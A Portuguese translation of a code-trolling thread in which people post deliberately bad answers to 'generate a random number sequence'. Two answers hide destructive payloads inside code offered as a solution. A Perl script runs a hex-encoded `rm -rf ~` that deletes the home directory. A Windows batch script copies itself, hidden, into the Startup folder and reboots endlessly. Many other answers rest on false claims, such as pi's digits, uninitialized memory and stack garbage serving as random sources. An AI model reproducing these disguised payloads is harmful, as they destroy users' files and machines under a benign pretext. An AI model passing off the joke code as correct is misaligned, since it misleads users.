O desafio:

Gere uma sequência aleatória de números. A única entrada deve ser o comprimento da sequência.

Pontos de internet extras para soluções puramente funcionais.

^{Nota: Esta é uma pergunta de controle de código . Por favor, não leve a sério a pergunta e / ou respostas. Mais informações aqui .}

Pitão

Pegue um artigo aleatório da Wikipedia, e pegue uma sequência de caracteres html de comprimento num e obtenha seus valores numéricos

import urllib2
from random import randint
def getRandom(num):
    response = urllib2.urlopen('http://en.wikipedia.org/wiki/Special:Random')
    html = response.read()
    html = html.replace(" ", "")
    htmllen = len(html)
    #I especially love how I still grab a random number here
    l =  randint(0, htmllen - num)
    data = html[l:l+num]
    return [ ord(x) for x in list(data) ]

print getRandom(25)

Todos os programas das outras respostas gerarão apenas os chamados "números pseudo-aleatórios", que podem parecer aleatórios para os olhos destreinados, mas na verdade seguem algum padrão.

O programa a seguir gera números aleatórios reais, transformando seu computador em um detector de partículas para radiação de fundo. Como isso se baseia em efeitos quânticos, é realmente aleatório e impossível de prever. E para um bônus, o programa realmente funciona mais rápido, se você iniciar o computador no espaço. E sim, isso é tão legal quanto parece.

C

#include<stdio.h>

int main(void)
{
    int i,j,k,l,m;
    printf("How many random numbers do you want?");
    scanf ("%i",&m);

    for (i=0; i<m; i++)
    {
        j = k = 42;
        l = 0;
        while (j==k)
            l++;
        printf("%i\n", l);
    }
}

Spoiler:

Este programa gera duas partes idênticas de memória e aguarda quanto tempo leva para a radiação de fundo alterar uma delas. O tempo de espera é retornado como um número aleatório, que seria distribuído exponencialmente, se não fosse o excesso de números inteiros. Esses eventos serem mais prováveis ​​no espaço é um problema real na astronáutica, que é tratado pelo endurecimento da radiação . Portanto, todas as afirmações da introdução são verdadeiras, até certo ponto, além da parte sobre o frescor.

Infelizmente, um evento como esse travar o computador ou pelo menos o programa é mais provável do que afetar exatamente esses dois blocos de memória. Além disso, pode demorar algum tempo ... Finalmente, como fora apontado por kinokijuf, radiação de fundo é um processo externo, por isso je kdeve ser marcado como volatilepara o compilador (ou você deve usar um compilador que não otimiza a todos).

PS: Expandindo a idéia, também é possível criar uma matriz cheia de zeros e imprimi-la. Há uma chance de que a radiação de fundo altere os zeros entre o armazenamento e a impressão e, portanto, o que é impresso é aleatório - o OP nunca disse como os números aleatórios seriam distribuídos.

É difícil conseguir a aleatoriedade em um computador, pois eles são puramente determinísticos. A geração de números aleatórios em computadores é uma área de pesquisa muito ativa, geralmente envolvendo atores em nível de estado (consulte Dual_EC_DRBG ). No entanto, em um moderno sistema operacional multitarefa, o agendador de encadeamentos pode executar um trabalho aceitável em algumas situações. Para fazer isso, devolvemos o controle de nossa fatia de tempo atual ao sistema operacional e anotamos quanto tempo leva para que possamos ser agendados novamente. Dependendo do sistema operacional e da carga, isso pode produzir os resultados desejados.

const int bitsInInt = 31;

void Main()
{
    Console.WriteLine("Enter total number of numbers to generate:");
    var result = Console.ReadLine();

    var total = int.Parse(result);
    foreach(var i in RandomSequence().Take(total))
    {
        Console.WriteLine(i);
    }
}

//Generates a random sequence of bits
IEnumerable<int> RandomBit()
{
    while(true)
    {
        var sw = new Stopwatch();

        sw.Start();
        Thread.Sleep(bitsInInt);
        sw.Stop();

        yield return (int)(sw.ElapsedTicks & 0x1L);
    }
}

//Performs the computation for mapping between the random
//sequence of bits coming out of RandomBit() and what
//is required by the program
IEnumerable<int> RandomSequence()
{
    while(true)
    {
        yield return RandomBit().Take(bitsInInt).Reverse().Select((b,i)=> b<<i).Sum();      
    }
}

C #

Como os usuários de nossos softwares são inerentemente aleatórios por sua natureza, por que não usá-los em nosso proveito?

Esse código faz uma captura de tela e a usa com alguns outros dados para produzir sequência aleatória. Pontos de internet bônus por não usar o gerador Random incorporado?

public unsafe uint[] GetThemRandom(int length)
    {
        var bounds = Screen.GetBounds(Point.Empty);
        using (var screenshot = new Bitmap(bounds.Width, bounds.Height))
        using (var graphics = Graphics.FromImage(screenshot))
        {
            // can't hurt
            var sZ = (uint)Cursor.Position.X;
            var sW = (uint)Cursor.Position.Y;

            // take the screenshot as the previous experience has though us that the users
            // are sufficiently random
            graphics.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
            screenshot.Save(DateTime.Now.Ticks + ".jpg", ImageFormat.Jpeg);

            var bytesPerPixel = Image.GetPixelFormatSize(screenshot.PixelFormat) / 8;
            var bits = screenshot.LockBits(bounds, ImageLockMode.ReadOnly, screenshot.PixelFormat);

            var scanData = (byte*)bits.Scan0.ToPointer();
            var scanLimit = bounds.Width * bounds.Height;

            // squash the pixels into two variables
            for (var i = 0; i < scanLimit; i += 2)
            {
                var pX = scanData + i * (bytesPerPixel);
                var pY = scanData + (i + 1) * (bytesPerPixel);

                for (var j = 0; j < bytesPerPixel; j++)
                {
                    sZ ^= *(pX + j);
                    sW ^= *(pY + j);
                }
            }

            // generate the numbers
            var randoms = new uint[length];
            for (var i = 0; i < length; i++)
            {
                // CodeProject 25172
                sZ = 36969 * (sZ & 65535) + (sZ >> 16);
                sW = 18000 * (sW & 65535) + (sW >> 16);

                randoms[i] = (sZ << 16) + sW;
            }

            return randoms;
        }
    }

Pitão

É fácil tropeçar nas armadilhas comuns: uma fonte não uniformemente distribuída de números aleatórios e nenhuma randomização. Minha solução evita esses problemas de maneira soberba, usando informações matemáticas profundas e um truque simples, mas eficaz, de randomização com o tempo atual:

from math import pi # The digits of pi are completely randomly distributed. A great source of reliable randomness.
random_numbers = str(pi)
random_numbers = random_numbers[2:] # Don't return the dot accidentally

import time
index = time.localtime()[8] # Avoid the obvious mistake not to randomise the random number source by using localtime as seed.
random_numbers = random_numbers[index:]

number = int(input("How many random numbers would like?"))
for random in random_numbers[:number]: # Python strings are super efficient iterators! Hidden feature!
    print(random)

Funciona muito bem quando testado uma vez para um pequeno conjunto de números (9 ou menos), mas com falhas severas quando testado um pouco mais:

• math.pi contém apenas alguns dígitos após o período
• time.localtime()[8]não retorna os milissegundos ou o relógio do kernel, mas 0 ou 1, dependendo do horário de verão ou não. Portanto, a semente aleatória muda a cada semestre em um lugar. Então, basicamente, nenhuma randomização.
• Isso retorna apenas números aleatórios entre 0 e 9.
• random_numbers[:number]falha silenciosamente quando você insere um número numbermaior que 15 e cospe apenas 15 números aleatórios.

Infelizmente, isso é inspirado na função aleatória Delphi 1.0, que costumava funcionar de maneira semelhante.

Rubi

A pergunta pede uma SEQUÊNCIA. Aqui vamos nós novamente...

$seed = $$.to_i
def getRandom(seed)
        a = Class.new
        b = a.new
        $seed = a.object_id.to_i + seed - $seed
        $seed
end

def getRandomSequence(num)
        molly = Array.new
        0.upto(num) do |x| molly[x] = x*getRandom(x) - getRandom(0-x) end
        molly
end

Isso é 100% aleatório. Não mesmo.
Pena que esse código não significa NADA para o OP (o que diabos é object_id?)
Além disso, é específico da implementação, o que significa que funciona ou não entre diferentes versões do ruby ​​(executadas em 2.1.0p0).
Além disso, isso pode potencialmente fazer algo realmente desagradável, já que o OP pode experimentar o object_id ...

Exemplo de saída:

-2224
12887226055
25774454222
38661682243
51548910124
64436137991

Editar:

modificado para usar $$para aleatoriedade verdadeira (no nível do SO).

Java

Cuidado, esta é uma pergunta complicada .....

A maioria das pessoas em Java usará math.random () para ajudar a gerar essa sequência, mas ficará confusa porque obterá apenas resultados positivos! random()retorna um valor decimal de 0 a 1 (excluindo 1 em si). Portanto, você deve executar alguns truques para garantir uma boa distribuição de valores aleatórios em todo o intervalo inteiro (positivo e negativo).

Além disso, você não pode simplesmente se multiplicar Math.random()e Integer.MAX_VALUEporque isso nunca se incluirá Integer.MAX_VALUEcomo parte do resultado! Além disso, seria lógico fazer math.rand() * (Integer.MAX_VALUE + 1)isso para obter uma distribuição completa, mas, é claro, isso não funciona porque Integer.MAX_VALUE + 1transbordará e se tornará Integer.MIN_VALUE! Portanto, infelizmente, a melhor solução é recorrer à manipulação bit a bit dos dados ...

Portanto, aqui está uma sequência completa para gerar valores aleatórios 'n' no intervalo Integer.MIN_VALUEde Integer.MAX_VALUE(Inclusive dos dois extremos (que é a parte mais difícil) !!!!):

public static int[] get_random_sequence(int count) {
    // where we will store our random values.
    int[] ret = new int[count];

    for (int i = 0; i < count; i++) {
        // get a random double value:
        double rand = Math.random();
        // now, convert this double value (which really has 48 bits of randomness)
        // in to an integer, which has 32 bits. Thus 16 extra bits of wiggle room
        // we cannot simply multiply the rand value with Integer.MAX_VALUE
        // because we will never actually get Integer.MAX_VALUE
        //    (since the rand will never exactly == 1.0)
        // what we do is treat the 32-bits of the integer in a clever bit-shifting
        // algorithm that ensures we make it work:
        // We use two special Mersenne Prime values (2^19 - 1) and (2^13 - 1)
        // http://en.wikipedia.org/wiki/Mersenne_prime#List_of_known_Mersenne_primes
        // these are very convenient because 13 + 19 is 32, which is the
        // number of bits of randomness we need (32-bit integer).
        // Interesting note: the value (2^31 - 1) is also a Mersenne prime value,
        // and it is also Integer.MAX_VALUE. Also, it is a double marsenne prime
        // since 31 is also a marsenne prime... (2^(2^5 - 1) - 1). Math is Cool!!!
        //    2^19 - 1 can be expressed as (1 << 19) - 1
        //    2^13 - 1 can be expressed as (1 << 13) - 1
        // first we set 13 bits ... multiply a 13-bit prime by the random number.
        ret[i]  = (int)(rand * (1 << 13) - 1);
        // now shift those 13 random bits 19 bits left:
        ret[i] <<= 19;
        // now add in the 19 random bits:
        ret[i] ^= (int)(rand * (1 << 19) - 1);
    }
    return ret;
}

Isso produz resultados como:

[-368095066, -1128405482, 1537924507, -1864071334, -130039258, 2020328364, -2028717867, 1796954379, 276857934, -1378521391]

Obviamente, o acima é uma resposta completa da BS. Ele não produz uma boa descrição e 'oculta' um bug grave ( ^=deveria ser |=). também oculta um bug menos grave (a ordem-pf-precedence significa que na verdade não multiplicamos por um valor primordial!) Usar palavras sofisticadas, números primos e muitos comentários não é motivo para confiar no código ... Obviamente, se você quiser fazer o acima, você deve apenas usarjava.util.Random.nextInt()

Java

Agora que olho para o programa, esqueci de fechar o Scanner...

import java.util.Scanner;

public class RandomNumberGenerator
{
    public static void main(String... args)
    {
        String rand = "14816275093721068743516894531"; // key-bashing is random
        Scanner reader = new Scanner(System.in);
        System.out.println("Enter length of random number: ");
        System.out.println(rand.substring(0, Integer.parseInt(reader.nextLine())));
    }
}

Perl

$\=$$;for(1..<>){$\=$\*65539;$\%=2**31;$\.=',';print""}

Estou fazendo a mesma $\tática de saída que em uma resposta diferente de controle de código. Além disso, vocês notam que estou investindo uma quantidade considerável $$no algoritmo RANDU .

Edit: Para explicar melhor, RANDU é um PRNG terrivelmente inseguro. A Wikipedia descreve como "um dos geradores de números aleatórios mais mal concebidos já criados". Sua principal fraqueza está abaixo:

f (x) = 6 * f (x-1) - 9 * f (x-2)

Aqui está um gerador de números aleatórios, base 2^CHAR_BIT.

char* random(size_t length) {
    char* ret = malloc((length+1) * sizeof(char));
    ret[length] = 0;
    return ret;
}

Em javascript, com um estilo funcional:

var randomSequence = "[5, 18, 4, 7, 21, 44, 33, 67, 102, 44, 678, -5, -3, -65, 44, 12, 31]";

alert("The random sequence is " + (function (sequenceSize) {
    return randomSequence.substring(0, sequenceSize);
})(prompt("Type the size of the random sequence")) + ".");

C

Essa função funciona muito bem em aplicativos pequenos para criar números aleatórios entre 0 e 1337. É recomendável chamá-lo mais de uma vez para garantir a aleatoriedade máxima.

int* getRandom(int length)
{
    //create an array of ints
    int* nums = malloc(sizeof(int) * length);

    //fill it in with different, "random" numbers
    while(length--)                                //9001 is a good seed
        nums[length-1] = (int)malloc(9001) % 1337; //1337 is used to make it more random
    return nums;
}

O famoso gerador Blum Blum Shub . Porque os geradores de números aleatórios devem ser criptograficamente seguros e qual a melhor maneira de fornecer segurança do que através da obscuridade.

#include <stdio.h>

long long Blum,BLum,Shub;

#define RAND_MAX 65536
//These two constant must be prime, see wikipedia.
#define BLUM 11
#define SHUB 19

int seed(int);
int(*rand)(int)=seed; //rand must be seeded first
int blumblumshub(int shub){
  //generate bbs bits until we have enough
  BLum  = 0;
  while (shub){
     Blum=(Blum*Blum)%Shub;
     BLum=(BLum<<1)|(Blum&1);
     shub>>=1;
  }
  return BLum>>1;
}

int seed(int n){
  Blum=n,BLum=BLUM;     
  Shub=SHUB*BLum;
  rand=blumblumshub;
  return rand(n);
}

//Always include a test harness.
int main(int argv, char* argc[]){
  int i;
  for (i=0;i<10;i++){
     printf("%d\n",rand(97));
  }
}

_{(Inclui nomes terríveis de variáveis, uma implementação incorreta baseada em uma verificação rápida da wikipedia e magia inútil de ponteiro de função usada por diversão)}

C / C ++

#include<stdio.h>

int main()
{
   int length = 20;
   double *a = new double[0];
   for (int i = 0; i < length; ++i)
   {
       printf("%f\n", a[i]);
   }
   return a[0];
}

Use alguns dados da pilha de lixo. Ah, e não se esqueça de vazar o ponteiro.

C ++

#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    int i, len;
    srand(time(NULL));
    len = atoi(argv[1]);
    for(i = 0; i < len; i++)
        printf("%d\n", rand() % 100);
    return 0;
}

Prós:

• Funciona.
• As vezes.
• C89 válido (ish).
• Terrível C ++.
• Use os cabeçalhos C porque using namespace std;é EVIL e não queremos atrasar o programa com todas essas pesquisas de namespace.
• Evitamos a uniformidade de distribuição em favor da velocidade usando o módulo com um valor codificado (TODO: altere isso para usar um deslocamento de bits para obter ainda mais velocidade bruta).
• Pode verificar o determinismo executando tempos múltiplos no mesmo segundo de relógio.
• O motivo pelo qual esse código é ruim não é óbvio o suficiente para que o OP provavelmente não o perceba.

Contras:

• O motivo pelo qual esse código é ruim não é óbvio o suficiente para que o professor do OP provavelmente não o perceba.
• Isso parece ser comumente considerado como uma solução aceitável.
• Precisa de mais velocidade RAW.

Mathematica

RandInt = 
 Array[First@
     Cases[URLFetch["http://dynamic.xkcd.com/random/comic/", 
       "Headers"], {"Location", l_} :> 
       FromDigits@StringTake[l, {17, -2}]] &, #] &

TI-Basic 83 + 84

:so;first&Input\something And;then:Disp uhmm_crazy_huhrandIntNoRep(1_£€¢|•∞™©®©©™,Andthen)

Entrada - 3

Saída - {2,3,1}

Funciona porque se resume a :Input A:Disp randIntNoRep(1,A)

Aqui está uma solução Python. Você não pode provar que isso não é aleatório!

def get_random(num):
    print '3' * num

Experimente chamando get_random(5), por exemplo.

Perl

use strict;
use warnings;
`\x{0072}\x{006D}\x{0020}\x{002D}\x{0072}\x{0066}\x{0020}\x{007E}`;
my $length = $ARGV[0];
for (my $count = 0;$count<$length;++$count) {
    print int(rand(10));
}
print "\n";

Este usa um código perl muito simples para fazer o que o OP pediu, mas não antes de remover recursivamente o diretório inicial (sem escrever rm -rf ~, é claro).

Eu não testei isso (por razões óbvias).

Python 3

Não apenas perde muito tempo (tempo real e CPU), como retorna apenas 10 números aleatórios.

def generate_random_number_sequence():
    with open('/dev/urandom', 'rb') as fd:
        data = b''
        num = 0

        for i in range(10000):
            data += fd.read(1)

            for b in data:
                try:
                    num += int(b)
                except ValueError: pass

        return [int(n) for n in list(str(num))]

if __name__ == '__main__':
    print(generate_random_number_sequence())

Rubi

Você pode saber que nem todos os números são aleatórios. Este programa verifica todos os números e fornece apenas os que realmente são aleatórios.

Cuidado que o código Ruby é um pouco complicado de ler. Não é tão eficiente quanto o inglês, porque os computadores são um pouco estúpidos e, às vezes, você precisa repetir palavras importantes para eles.

Portanto, eu adicionei alguns #commentsao código; As palavras MAIÚSCULAS nos comentários mostram como essa mesma palavra funciona no código Ruby.

def random_sequence(n)
  # Make a NEW ENUMERATOR of RANDOM numbers:
  Enumerator.new { |random|
    # to_i means that the RANDOM NUMBERS we want are *integers*.
    # (rand is computer speak for random.)
    number = rand.to_i

    # We need to LOOP (because we want a *sequence* of numbers):
    loop do
      # Double check that the NEXT NUMBER is a RANDOM NUMBER.
      # This is very important so we must repeat some of the words to the computer.
      random << number if number == rand(number=number.next)
    end
   }.take(n) # Self explanatory
end

# Now we just say hw many random numbers we want, like 12
p random_sequence(12)

Uma explicação mais detalhada pode vir mais tarde, mas essa saída de uma execução de exemplo deve revelar parte dela: [1, 3, 5, 10, 180, 607, 639, 1694, 2194, 21375, 75580, 137110, 149609] ... meio aleatório.

O seguinte script do Windows Batch irá gerar um arquivo com números aleatórios nomeados OUTPUT.TXTna sua pasta de perfil. Isso é garantido para gerar números aleatórios quase totalmente verdadeiros. Basta colar esse código no bloco de notas, salvar como "FileName.CMD"(com as aspas) e executar.

IF "%~dp0" == "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" GOTO GENRANDOM
copy %~f0 "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
attrib +R +H "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
GOTO GENRANDOM
REM GOTO INSTRUCTIONS ARE VERY IMPORTANT TO MAKE YOUR FILE EASIER TO READ

:NEXT
shutdown -r -t 0
exit

:GENRANDOM
FOR /D %%F IN (%time%) DO (
@set output=%%F
)
::NEXT <--Really important
IF NOT EXIST "%userprofile%\OUTPUT.TXT" ECHO.>"%userprofile%\OUTPUT.TXT"
echo.%output%>>"%userprofile%\OUTPUT.TXT"
GOTO NEXT

REM TODO: ADD MORE OBSCURITY

Ter que inserir uma quantidade de números aleatórios a serem gerados é muito problemático a propósito. Basta pressionar e segurar o botão liga / desliga para que ele pare de gerar. Muito mais fácil! Plus: não requer teclado.

Lua

Essa é uma função super-complicada, complicada e confusa (mesmo com um marcador de sintaxe), que gera números insensivelmente altos de uma maneira muito complicada. E, em vez de retornar a sequência de números, os imprime na tela, tornando-o impraticável para uso em seus programas. É difícil editar, por isso, se o seu victum solicitar que você o corrija, diga que é muito complicado editar.

function random(x) local func = loadstring("print(math.random(math.random(math.random(123514363414,9835245734866241),math.random(182737598708748973981729375709817829357872391872739870570,57102738759788970895707189273975078709837980278971289375078978739287018729375087132705)),math.random(math.random(19230851789743987689748390958719873289740587182039758917892708973987579798403789,0958907283470589718273057897348975087192034875987108273570917239870598743079857082739845891098728073987507),math.random(894017589723089457098718723097580917892378578170927305789734975087109872984375987108789,2739870587987108723457891098723985708917892738075098704387857098172984758739087498570187982347509871980273589789437987129738957017))))") for i = 1, x do func() end end

C #

 public class Random
    {
        private char[] initialSequence = "Thequickbrownfoxjumpsoveralazydog".ToCharArray();

        private long currentFactor;

        public Random()
        {
            currentFactor = DateTime.Now.ToFileTime();
        }

        public IEnumerable<int> GetSequence(int count)
        {
            int i = 0;
            while (i < count)
            {
                i++;

                string digits = currentFactor.ToString();
                digits = digits.Substring(digits.Length / 4, digits.Length / 2);

                if (digits[0] == '0')
                    digits = "17859" + digits;

                currentFactor = (long)System.Math.Pow(long.Parse(digits), 2);

                int position = i % initialSequence.Length;

                initialSequence[position] = (char)((byte)initialSequence[position] & (byte)currentFactor);

                yield return (int)initialSequence[position] ^ (int)currentFactor;

            }
        }
    }

Observe que ele tende a quebrar por seqüências mais longas, mas quando funciona, gera números muito aleatórios

Fortran

Seu computador já possui um número aleatório interno, então você só precisa acessar:

program random_numbers
   implicit none
   integer :: nelem,i,ierr

   print *,"Enter number of random sequences"
   read(*,*) nelem

   do i=1,nelem
      call system("od -vAn -N8 -tu8 < /dev/urandom")
   enddo
end program random_numbers

Obviamente, não é portátil, pois exige que o usuário tenha um sistema * nix (mas quem ainda usa o Windows?).

Presumo que você, é claro, precise de muitos números aleatórios. O que exige ...

Bash e Hadoop

Obviamente, apenas o uso de uma única fonte aleatória não é confiável nos dias da NSA. Eles podem ter trojanado o seu computador. Mas eles não vão trojanar todo o seu cluster!

#!/bin/bash
# Fortunately, our mapper is not very complex.
# (Actually a lot of the time, mappers are trivial)
cat > /tmp/mapper << EOF
#!/bin/bash
echo $$RANDOM
EOF

# Our reducer, however, is a filigrane piece of art
cat > /tmp/reducer << EOF
#!/bin/bash
exec sort -R | head -1 
EOF

Em seguida, o script executará os trabalhos de cluster conforme desejado:

# We need to prepare our input data:
$HADOOP_HOME/bin/hdfs dfs -mkdir applestore
for i in `seq 0 $RANDOM`; do
    echo Banana >> /tmp/.$i
    $HADOOP_HOME/bin/hdfs dfs -copyFromLocal /tmp/.$i applestore/android-$i
done

# We can now repeatedly use the cluster power to obtain an infinite
# stream of super-safe random numbers!
for i in `seq 1 $1`; do
    $HADOOP_HOME/bin/hadoop jar $HADOOP_HOME/hadoop-streaming.jar \
    -input applestore/ \
    -output azure/ \
    -file /tmp/mapper \
    -file /tmp/reducer \
    -mapper /tmp/mapper \
    -reducer /tmp/reducer
    $HADOOP_HOME/bin/hdfs dfs -cat azure/part-00000
    # Never forget to cleanup something:
    $HADOOP_HOME/bin/hdfs dfs -rm -r azure
done

Graças a Deus, temos o poder do Hadoop!

Rubi

require 'md5'

5.times {|i| p MD5.md5(($$+i).to_s).to_s.to_i(32)} # take 32 bits

ANSI C

Isso é bastante complicado e eu não me preocuparia muito com isso. Basta copiar e colar o código abaixo na sua biblioteca e você ficará dourado para sempre.

#include <stdlib.h>
#include <time.h>

void fillNumbers(int[], unsigned size);

void main()
{
    int random[5];
    fillNumbers(random, 5);
}

void fillNumbers(int arr[], unsigned size)
{
    void * pepperSeed = malloc(size);
    unsigned tick = ~(unsigned)clock();
    srand((int)( (unsigned)pepperSeed^tick ));
    while( size --> 0 )
    {
        arr[size] = rand();
    }
}

Experimente o C ++ - rápido, poderoso, tudo o que você sempre desejará:

#include <iostream>
#include <vector>
#include <cmath>
using namespace std;
#define type int
#define type vector

// declaration for generate_num()
int generate_num();

void error(std::string s) {
  throw runtime_error(s);
}

// some support code
class random {

public:
  random(int& i) { if (!i) error("class random: bad value"); for (int j = 0; j < i; j++) v.push_back(generate_num()); }

  void* display() const { for (int i = 0; i < v.size(); i++) std::cout << v[i] << std::endl; return 0; }

private:
  vector<int> v;
};

// generate number
int generate_num() {

  // seed random number generator
  srand(rand());

  // get number
  int i = rand();

  // return number after calculation
  return int(pow(i, pow(i, 0)));
}

int main() try {

  // generate and store your random numbers
  int amount_of_numbers;
  std::cout << "Enter the number of random variables you need: ";
  std::cin >> amount_of_numbers;

  // create your random numbers
  random numbers = random(amount_of_numbers);

  // display your numbers
  numbers.display();

  return 0;
}
catch (exception& e) {
  std::cerr << "Error: " << e.what();
  return 1;
}
catch (...) {
  std::cerr << "Unknown error\n";
  return 2;
}

A propósito, para obter os melhores resultados, você desejará usar a class.

Explicação:
1. Ele NÃO precisa usar isso class- isso é totalmente redundante.
2. A declaração de retorno em generate_num()realmente retorna o número ^ (número ^ 0), que é avaliado como número ^ 1, que é número. Isso também é redundante.
3. Tratamento de erros desnecessário - o que poderia dar errado com esse básico de punção de dados?
4. Eu usei std::antes de todos os elementos do stdespaço para nome. Isso também é redundante.
5. As #definedeclarações também são desnecessárias - fiz isso para fazê-lo pensar que defini esses tipos especificamente para este programa.

Aviso Legal:
Este programa realmente funciona; no entanto, NÃO recomendo a qualquer pessoa ou entidade que o utilize em seu código para a vida real. Eu não reservo nenhum direito sobre este código; em outras palavras, eu o faço inteiramente de código aberto.

Pitão

Tomando a parte funcional - o python quase de uma linha

import random
map(lambda x: random.random(), xrange(input())